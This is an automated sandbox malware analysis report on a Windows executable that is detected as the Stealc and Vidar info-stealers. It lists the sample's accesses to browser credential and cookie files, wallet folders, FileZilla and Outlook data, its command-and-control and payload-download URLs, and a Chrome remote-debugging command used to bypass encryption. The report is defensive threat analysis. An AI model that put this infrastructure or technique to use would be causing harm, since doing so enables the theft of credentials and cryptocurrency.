Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5908, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2088852117.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2587375541.0000000000821000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2590695156.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5908, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5908, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	53%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://185.215.113.206/68b591d6548ec281/freebl3.dll:	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpf4	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dll4	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe-	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php2m3	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpI3	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dll1	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllu	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dll:	19%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	142.250.186.174	true	false	high
play.google.com	142.250.186.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	172.217.18.100	true	false	high
googlehosted.l.googleusercontent.com	142.250.185.193	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731811358828&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
https://c.msn.com/c.gif?rnd=1731811358830&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5adb8e267cf64bb19e68a2e068f0bfad&activityId=5adb8e267cf64bb19e68a2e068f0bfad&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=DD5B561888754485909BF684B6BA20B0&MUID=024D4A803FDA694A0F455FBA3E2B6876	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731811361808&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://play.google.com/log?format=json&hasfast=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731811361124&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731811361128&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://c.msn.com/c.gif?rnd=1731811358830&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5adb8e267cf64bb19e68a2e068f0bfad&activityId=5adb8e267cf64bb19e68a2e068f0bfad&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2355944655.000000002361C000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGH.0.dr, JEHIJDGI.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2355944655.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590695156.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGH.0.dr, JEHIJDGI.0.dr	false		high
http://www.broofa.com	chromecache_465.4.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2620913468.0000000023671000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	false		high
https://www.last.fm/	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpf4	file.exe, 00000000.00000002.2620913468.000000002368D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_467.4.dr	false		high
https://docs.google.com/	manifest.json.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll:	file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.youtube.com	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://www.instagram.com	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive.google.com/	manifest.json.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://www.messenger.com	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll4	file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://i.y.qq.com/n2/m/index.html	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://www.deezer.com/	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://web.telegram.org/	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.9.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json.9.dr	false		high
https://vibe.naver.com/today	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2355944655.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590695156.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGH.0.dr, JEHIJDGI.0.dr	false		high
https://www.ecosia.org/newtab/	JEHIJDGI.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json.9.dr	false		high
https://plus.google.com	chromecache_467.4.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.php2m3	file.exe, 00000000.00000002.2620913468.000000002368D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2620913468.0000000023671000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	false		high
https://chromewebstore.google.com/	manifest.json0.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2620913468.0000000023671000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exe-	skotes.exe, 00000019.00000002.3337495411.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://chrome.google.com/webstore/	manifest.json0.9.dr	false		high
https://y.music.163.com/m/	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://clients6.google.com	chromecache_467.4.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpZ	skotes.exe, 00000019.00000002.3337495411.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		high
https://m.kugou.com/	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://www.office.com	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BAEBGHCFCAAFIECAFIII.0.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpI3	file.exe, 00000000.00000002.2620913468.000000002368D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpj	file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false		high
https://powerpoint.new?from=EdgeM365Shoreline	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2355944655.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590695156.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGH.0.dr, JEHIJDGI.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpp	file.exe, 00000000.00000002.2620913468.000000002368D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll1	file.exe, 00000000.00000002.2590695156.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tidal.com/	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exe	skotes.exe, 00000019.00000002.3337495411.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://gaana.com/	085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	false		high
https://drive-staging.corp.google.com/	manifest.json.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllu	file.exe, 00000000.00000002.2590695156.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.218.232.186	unknown	United States	24835	RAYA-ASEG	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
108.156.211.19	unknown	United States	16509	AMAZON-02US	false
23.198.7.167	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.186.78	play.google.com	United States	15169	GOOGLEUS	false
23.221.22.197	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
142.250.185.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.18.100	www.google.com	United States	15169	GOOGLEUS	false
40.118.171.167	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.117.247.168	unknown	United States	16625	AKAMAI-ASUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.47.50.41	unknown	United States	16625	AKAMAI-ASUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.42.73.31	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557014
Start date and time:	2024-11-17 03:41:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@74/240@28/26
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
